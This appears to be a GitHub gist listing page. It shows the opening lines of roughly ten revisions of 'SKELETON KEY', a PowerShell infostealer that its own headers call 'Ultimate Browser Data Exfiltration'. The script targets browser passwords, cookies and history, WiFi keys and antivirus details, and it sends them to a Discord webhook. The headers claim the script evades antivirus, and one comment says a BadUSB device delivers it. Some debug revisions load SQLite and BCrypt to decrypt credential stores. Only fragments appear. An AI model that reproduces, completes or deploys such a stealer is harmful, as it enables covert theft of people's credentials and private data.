This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v12 — Rebuilt from working reference | |
| # Unicode SQLite + BCrypt GCM fix + hardcoded columns | |
| # ============================================================ | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| try { | |
| $skTemp = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $skSig = "$env:TEMP\sk_done.sig" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v12 — Rebuilt from working reference | |
| # Unicode SQLite + BCrypt GCM fix + hardcoded columns | |
| # ============================================================ | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| try { | |
| $skTemp = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $skSig = "$env:TEMP\sk_done.sig" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v10 — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| try { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v9 — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| try { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v8 — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| # BadUSB sets $DiscordUrl first — gist only acts as fallback | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v7 — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| # Setup temp directory — must succeed or exit cleanly |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' | |
| $Script:TempDir = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $Script:SigFile = "$env:TEMP\sk_done.sig" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' | |
| $Script:TempDir = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $Script:SigFile = "$env:TEMP\sk_done.sig" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG v5 - BCrypt GCM structure fix (tag separate from input). | |
| #> | |
| Add-Type -AssemblyName System.Security | |
| Write-Host "[*] Loading WinSQLite3..." | |
| Add-Type @" | |
| using System; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG v4 - fixed DllImport CharSet for bcrypt.dll (must be Unicode). | |
| Falls back to CNG if BCrypt still fails. | |
| #> | |
| Add-Type -AssemblyName System.Security | |
| Write-Host "[*] Loading WinSQLite3..." | |
| Add-Type @" |
NewerOlder